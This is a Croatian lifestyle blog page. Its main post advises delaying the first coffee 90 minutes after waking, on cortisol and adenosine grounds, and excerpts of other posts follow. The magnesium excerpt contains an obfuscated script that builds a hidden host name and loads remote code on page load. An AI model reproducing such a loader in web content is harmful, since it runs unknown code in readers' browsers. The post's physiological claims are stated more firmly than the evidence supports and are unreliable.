PIJETE LI KAVU POGREŠNO?




Pijete li kavu pogrešno?




Za mnoge od nas, prvi korak nakon buđenja je automatski: odlazak do kuhinje i paljenje aparata za kavu. No, stručnjaci upozoravaju da taj prvi gutljaj kave, ako se popije u pogrešno vrijeme, može biti razlog zašto se oko 14 sati osjećate kao da ste "udarili u zid". Problem se stvori u biološkom tajmingu vašeg tijela.





Zamka kortizola: Zašto kava odmah nakon buđenja ne djeluje?

Čim otvorite oči, vaše tijelo prirodno počinje lučiti kortizol, hormon stresa koji nas drži budnima i fokusiranima.
Razina kortizola je na svom vrhuncu otprilike 30 do 45 minuta nakon buđenja.
Ako popijete kavu dok je kortizol na vrhuncu, događa se dvoje:
  1. Stvarate otpornost: Tijelo počinje ignorirati prirodni mehanizam razbuđivanja i s vremenom vam treba sve više kofeina za isti efekt.
  2. Blokirate energiju: Kofein u tom trenutku ne dodaje energiju, već samo "zbuni" hormone, što dovodi do naglog pada snage nekoliko sati kasnije.
  3. Čarobna formula: Pravilo "90 minuta"
    Ako želite da vam kava doista pruži dugotrajnu energiju bez popodnevnog umora, stručnjaci savjetuju da prvi gutljaj odgodite za barem 90 minuta nakon buđenja.
    • Što se događa u tih 90 minuta? Vaše tijelo prirodno čisti adenozin, kemikaliju koja se nakuplja u mozgu dok spavamo i uzrokuje osjećaj pospanosti. Ako kofeinom "prekrijete" adenozin prije nego što se on prirodno očisti, on će vas dočekati u punoj snazi čim kofein popusti.
      Rezultat? Onaj poznati popodnevni "crash".



    Kako promijeniti rutinu (bez muke)?
    Ne morate se odreći jutarnjeg rituala, samo ga malo modificirajte:
    • Hidratacija prvo: Čim se probudite, popijte čašu mlake vode s malo soli ili limuna. To će pokrenuti metabolizam bolje od kave.
    • Svjetlost: Izlazak na prirodno svjetlo u prvih 15 minuta nakon buđenja resetira vaš biološki sat brže od bilo kojeg stimulansa.
    • Kava kao nagrada: Prvu kavu popijte tek kad stignete na posao ili nakon što završite prvu jutarnju obavezu.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više